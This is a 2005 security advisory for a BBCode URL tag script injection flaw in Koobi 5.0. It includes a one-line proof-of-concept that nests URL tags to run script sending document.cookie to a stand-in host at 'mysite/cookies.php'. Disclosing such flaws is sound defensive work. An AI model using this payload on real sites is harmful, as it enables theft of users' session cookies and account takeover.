Koobi BBCode URL Tag Script Injection Vulnerability

BID:16078

Info

Koobi BBCode URL Tag Script Injection Vulnerability

Bugtraq ID: 16078
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Dec 28 2005 12:00AM
Updated: Dec 28 2005 12:00AM
Credit: Discovered by Kurdish Hacker <[email protected]>.
Vulnerable: Koobi Koobi 5.0
Not Vulnerable:

Discussion

Koobi BBCode URL Tag Script Injection Vulnerability

Koobi is prone to a script injection vulnerability.

An attacker can nest BBCode URL tags to trigger this issue and execute arbitrary code in a user's browser.

Attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. Other attacks are also possible.

Koobi 5 is reportedly prone to this vulnerability.

Exploit / POC

Koobi BBCode URL Tag Script Injection Vulnerability

No exploit is required.

The following proof of concept is available:
[color=#EFEFEF][url]www.ut[url=www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://mysite/cookies.php?
c='+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'[/color]

Solution / Fix

Koobi BBCode URL Tag Script Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

Koobi BBCode URL Tag Script Injection Vulnerability

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